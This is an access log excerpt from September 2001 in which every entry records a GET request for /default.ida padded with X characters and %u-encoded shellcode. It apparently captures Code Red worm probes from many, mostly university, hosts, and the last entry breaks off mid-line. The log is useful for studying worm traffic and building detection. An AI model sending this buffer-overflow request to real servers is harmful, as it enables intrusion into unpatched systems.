/default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010901 05:10:24: [202.109.75.198] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010901 05:26:07: dynamic-235-131.dyn.columbia.edu [128.59.235.131] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010901 05:38:23: dynamic-235-131.dyn.columbia.edu [128.59.235.131] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010901 06:16:15: jkyle.resnet.tamu.edu [128.194.5.197] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010901 06:40:02: radio.clarkson.edu [128.153.154.35] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010901 06:49:33: [128.134.54.152] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010901 06:53:05: dynamic-235-131.dyn.columbia.edu [128.59.235.131] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010901 07:14:48: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010901 07:20:09: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010901 08:21:10: [211.230.111.162] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010901 08:22:49: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010901 09:34:00: dynamic-235-131.dyn.columbia.edu [128.59.235.131] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010901 10:09:38: dialup-cc2-50.cc.columbia.edu [128.59.58.155] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010901 11:40:25: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010901 12:17:07: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010901 14:33:45: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010901 14:49:47: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010901 15:47:56: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010901 16:16:34: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010901 16:42:14: [128.238.147.233] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010901 17:21:17: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010901 17:51:58: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010901 19:17:05: dialup-cc1-91.cc.columbia.edu [128.59.58.100] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010901 19:20:51: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010901 19:33:00: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010901 19:48:55: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010901 20:12:46: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010901 20:31:30: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010901 20:49:42: [207.113.141.10] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010901 20:55:15: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010901 21:40:02: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010901 22:40:59: [128.134.192.130] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010901 23:09:44: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010901 23:20:32: dialup-ccts5-45.cc.columbia.edu [128.59.6.54] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010902 00:17:22: dialup-cc3-84.cc.columbia.edu [128.59.42.189] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010902 00:17:49: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010902 01:42:23: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010902 01:58:02: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010902 01:58:52: wsgrhl721.law.columbia.edu [128.59.176.190] "GET 